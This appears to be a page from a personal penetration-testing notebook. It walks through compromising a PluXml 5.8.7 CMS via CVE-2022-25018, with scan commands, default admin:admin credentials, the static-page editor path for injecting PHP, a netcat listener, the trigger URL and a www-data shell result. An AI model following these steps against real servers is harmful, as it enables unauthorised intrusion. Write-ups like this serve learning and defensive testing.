> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/things-i-have-pwnd-before/pluxml.md). # PluXml PluXml is an XML-powered blog and CMS. PluXml `5.8.7` allowed an authenticated manager to place PHP code in a static page and execute it through the page's public route. ## Discovery Nmap and web fingerprinting identified the CMS on Apache: ```bash nmap -sC -sV -p- TARGET -oA nmap/nmap.full whatweb http://TARGET ``` Observed indicators: ``` 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: PluXml - Blog or CMS, XML powered ! ``` ``` Cookies[PHPSESSID] Title[PluXml - Blog or CMS, XML powered !] ``` HTTP enumeration exposed useful application directories: ``` /core/ /data/ /themes/ ``` The public page included an administrator link leading to: ``` /core/admin/auth.php?p=/core/admin/ ``` ## Authentication and Version The default credentials successfully authenticated: ``` admin:admin ``` The authenticated administration interface disclosed the installed version: ``` PluXml 5.8.7 ``` ## CVE-2022-25018 Authenticated PHP Code Execution Open the static-page editor after authenticating: ``` /core/admin/statiques.php ``` Edit a static page, replace its existing content with PHP code, and save it. A PHP reverse shell can be used as the page content after setting the attacker IP address and port. Start the listener: ```bash nc -nlvp PORT ``` Trigger the stored PHP through the static page's public route: ``` http://TARGET/index.php?static1/static-1 ``` Successful execution returned a shell as the web-service account: ``` uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## References * *